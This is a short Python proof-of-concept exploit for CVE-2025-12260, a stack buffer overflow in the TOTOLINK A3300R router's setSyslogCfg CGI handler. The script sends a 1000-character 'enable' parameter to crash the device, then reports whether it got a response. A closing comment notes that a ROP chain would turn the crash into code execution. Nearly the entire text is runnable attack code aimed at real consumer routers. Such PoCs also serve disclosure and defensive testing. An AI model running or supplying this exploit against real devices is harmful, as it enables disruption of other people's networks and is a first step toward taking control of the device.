CVE-2025-12260

import requests # CVE-2025-12260 PoC - TOTOLINK A3300R setSyslogCfg Buffer Overflow # Target: TOTOLINK A3300R router # Vulnerability: Stack-based buffer overflow in setSyslogCfg function via enable parameter target_ip = "192.168.0.1" # Router IP address target_url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Construct malicious payload with oversized enable parameter # This causes stack buffer overflow payload = { "topicurl": "setSyslogCfg", "enable": "A" * 1000, # Overflow payload "server": "test", "port": "514" } try: print(f"[*] Sending exploit to {target_url}") print(f"[*] Payload length: {len(payload['enable'])}") response = requests.post(target_url, data=payload, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] Request sent successfully") print("[!] Check if router is vulnerable or crashed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Note: This PoC demonstrates the vulnerability exists. # Actual exploitation requires crafting specific ROP chain for code execution.

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